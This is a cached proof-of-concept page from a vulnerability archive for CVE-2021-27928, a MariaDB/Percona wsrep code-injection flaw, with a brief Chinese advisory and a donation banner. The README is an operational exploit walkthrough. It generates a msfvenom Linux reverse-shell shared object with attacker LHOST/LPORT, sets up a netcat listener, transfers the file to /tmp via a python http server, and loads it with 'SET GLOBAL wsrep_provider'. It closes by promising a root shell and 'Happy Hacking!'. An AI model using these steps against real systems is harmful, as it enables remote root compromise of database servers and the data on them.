Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-27928 PoC — MariaDB 代码注入漏洞

Source
Associated Vulnerability
Title:MariaDB 代码注入漏洞 (CVE-2021-27928)
Description:MariaDB是Mariadb基金会的一套免费开源的数据库管理系统,也是一个采用Maria存储引擎的MySQL分支版本。 MariaDB 10.2.37 版本之前的 10.2 版本,10.3.28 版本之前的 10.3 版本,10.4.18 版本之前的 10.4 版本和 10.5.9 版本之前的 10.5 版本存在代码注入漏洞,不受信任的搜索路径会导致eval注入。
Description
CVE-2021-27928-POC
Readme
# CVE-2021-27928 POC

## Description

A remote code execution issue was discovered in MariaDB 10.2 before 10.2.37, 10.3 before 10.3.28, 10.4 before 10.4.18, and 10.5 before 10.5.9; Percona Server through 2021-03-03; and the wsrep patch through 2021-03-03 for MySQL. An untrusted search path leads to eval injection, in which a database SUPER user can execute OS commands after modifying wsrep_provider and wsrep_notify_cmd. NOTE: this does not affect an Oracle product.

## POC
Let's create our payload with Msfvenom. For our payload we will use **/linux/x64/shell_reverse_tcp** with our IP for **LHOST** and PORT number for **LPORT**. We are also gonna specify the file type with **-f** which in our case is **elf-so**. And we will save the output file as **CVE-2021.27928.so** with **-o** option. 
<code>msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o CVE-2021-27928.so</code>

![](5.png)

Our payload is ready! let's set up **netcat** a listener on our specified port.

Let's move our file to the target machine. For this we can use any way we prefer. I will use python http server.
![](2.png)

Lets save the file to **/tmp** directory
![](4.png)


Now we need to log into the database and set wsrep_provider to our uploaded payload. 

<code>SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";</code>

![](3.png)

Time to check our listener. If we were successful we sould have obtained root shell on the machine!

![](1.png)

Happy Hacking!
  
## References

https://www.exploit-db.com/exploits/49765

https://nvd.nist.gov/vuln/detail/CVE-2021-27928
File Snapshot

[4.0K] /data/pocs/1f745a7361a861143127f95c1a508bb682a927d0 ├── [ 28K] 1.png ├── [ 22K] 2.png ├── [ 18K] 3.png ├── [ 66K] 4.png ├── [ 59K] 5.png └── [1.5K] README.md 0 directories, 6 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.